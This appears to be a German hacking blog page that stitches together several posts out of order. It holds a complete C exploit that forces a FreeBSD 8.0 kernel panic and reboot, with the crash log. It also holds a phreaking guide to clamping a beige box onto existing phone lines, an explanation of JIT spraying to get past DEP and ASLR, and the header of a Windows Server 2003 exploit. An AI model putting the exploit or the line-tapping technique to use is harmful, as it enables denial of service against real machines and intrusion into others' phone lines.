Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
Colorboxing Part II
Halli Hallo,
in Part I habe ich euch kurz angerissen wie ich eine Beige Box zusammenbastel. In Part II werde ich euch jetzt zeigen wie und an welchen Stellen man so ein Gerät theoretisch(!) nutzen könnte. Ich übernehme keinerlei Haftung für eventuell auftretende Schäden und hoffe ich treibt keinen Unfug mit der Anleitung.
Das Prinzip ist ganz einfach. Wie auf dem Schaubild zu erkennen müssen wir unsere Beigebox nur an eine vorhanden Leitung anklemmen. Wie schon gelernt haben wir 2 Adern die von unserer Box wegführen.
Colorboxing Part I
Erst vor kurzem habe ich mich mit S3RB31 über Phreaking unterhalten, und da nun viele Standart Anlaufpunkte von mir im Netz down sind, und ich nicht genau weiß was ich mit meiner Zeit jetzt anfangen soll, schreib ich einfach mal drauf los.
Was ist eigentlich Phreaking?
Unter Phreaking versteht man im "Hacker-Chargon" das Einfluss nehmen auf Telekommunikationsysteme. Die Ziele sind weitreichend. Vom kostenlosem Telefonieren über das Erlangung von Informationen bis hin zum Geld verdienen.
Vor 20 Jahren war das Phreaking populär, wärend es in der heutigen Zeit immer mehr in Vergessenheit gerät. Warum? Es ist garnicht sooolange her da waren unsere Netze in Dtl. noch durchweg analog, und ließen sich auf Grund dieser Tatsache sehr leicht manipulieren, und das auch ohne physikalischen Zugriff.
Da das Thema recht weitreichend ist, habe ich mir einen kleinen Teil herraus gesucht.
Es nennt sich Colorboxing, ich werde in diesem Artikel auf die BEIGE-Box eingehen, die wohl heute noch am meist benutzte Colorbox. Wenn ich von Box rede, dürf ihr euch keine "Kiste" vorstellen Wieso es Boxing heißt erzähle ich euch ein ander mal.
Local DoS Exploit f0r BSD Release 8
Wird der Exploit kompiliert und ausgeführt crasht das System und startet neu. (null pointer dereference)
# Exploit Title: FreeBSD local denial of service – forced reboot
# Date: 28. January 2011
# Author: Kingcope
# Software Link: http://www.freebsd.org
# Operating System: FreeBSD
# Tested on: 8.0-RELEASE
#include #include #define PAGE_SIZE 4096 #include #include #include main() { int k,fd,i2,i3,i4,i5,i6,i7,i8; char *p; char buf[4096]; for (i2=0;i2<256;i2++) { for (i3=0;i3<2;i3++) { for (i4=0;i4<2;i4++) { fd = socket(i2, i3, i4); if (fd < 0) continue; printf("SUCCESS!\n"); for (i5=0;i5<100;i5++) { for (i6=0;i6<100;i6++) { setsockopt(fd, i5, i6, buf, 4); getsockopt(fd, i5, i6, buf, &i7); }}}}} }
Hier das Crashlog:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel:
Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
Jan 28 11:33:07 r00tme kernel: fault virtual address = 0xc
Jan 28 11:33:07 r00tme kernel: fault code = supervisor
write, page not present
Jan 28 11:33:07 r00tme kernel: instruction pointer = 0×20:0xc06143ba
Jan 28 11:33:07 r00tme kernel: stack pointer = 0×28:0xcd1fa5b4
Jan 28 11:33:07 r00tme kernel: frame pointer = 0×28:0xcd1fa85c
Jan 28 11:33:07 r00tme kernel: code segment = base 0×0,
limit 0xfffff, type 0x1b
Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
resume, IOPL = 0
Jan 28 11:33:07 r00tme kernel: current process = 1004 (bsdcrash)
Jan 28 11:33:07 r00tme kernel: trap number = 12
Jan 28 11:33:07 r00tme kernel: panic: page fault
Jan 28 11:33:07 r00tme kernel: cpuid = 0
Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds – press
a key on the console to abort
Jan 28 11:33:07 r00tme kernel: Rebooting…
Anscheinend funktioniert der Exploit nur wenn das System mit einer VMware Lösung virtualisiert wird und einen bestimmten NIC Treiber nutzt.
JIT-Spraying strikes back!
Servus,
ich beschäftige mich im Moment mit JIT-Spraying. Im Regelfall wird diese Art des Exploiting durch die Data Execution Prevention (DEP) im Bios und das Address Space Layout Randomization (ASLR) im jeweiligem OS verhindert. Wer sich jedoch an die letzte fatale Vuln im Adobe Reader erinnert, weiß das es nicht unmöglich jene Schutzmechanismen zu umgehen.
JIT-Exploiting funktioniert nach einem einfachem Prinzip. Während der Laufzeit eines Programms, wird der Schadcode JIT(just in time) kompiliert. Nun springen aber die oben genannten Schutzmechanisem an und versuchen die execution des Codes zu verhindern.
Dion Blazakis hat einen Weg gefunden um jene Schutzmechanismen mit einem Actionscript(Flash) aus zu tricksen. Er beruht darauf, dass es bei einer Folge von Bytes sehr wohl darauf ankommt, an welcher Stelle genau man beginnt, sie als Code zu interpretieren.
Diese XOR-Befehle in ActionScript
var ret=(0x3C909090^0x3C909090^0x3C909090^0x3C909090^ …);
übersetzt der JIT-Compiler in folgende Maschinenbefehle:
0x1A1A0100: 359090903C XOR EAX, 3C909090 0x1A1A0105: 359090903C XOR EAX, 3C909090 0x1A1A010A: 359090903C XOR EAX, 3C909090
Springt man jedoch knapp daneben, auf eine der Speicheradressen mit dem Wert 0x90
sieht die CPU das Folgende:
0x1A1A0101: 90 NOP 0x1A1A0102: 90 NOP 0x1A1A0103: 90 NOP 0x1A1A0104: 3C35 CMP AL, 35 0x1A1A0106: 90 NOP ...
Das Ding an der Sache ist es also, das durch eine gefuchste Wahl der XOR Wertes es auch möglich ist andern Code JIT kompilieren und ausführen zu können. Es ist also möglich jegliche Schutzmechanismen vom AS zu umgehen und die Mechanismen von BIOS und OS gar nicht erst auf den Plan zu rufen. Sobald eine solche Möglichkeit gefunden wurde ist ein Tutorial nicht fern
In diesem Beispiel wird gezeigt wird durch die oben genannte Technik Code ausgeführt wird(idF die Systemeigene calc.exe)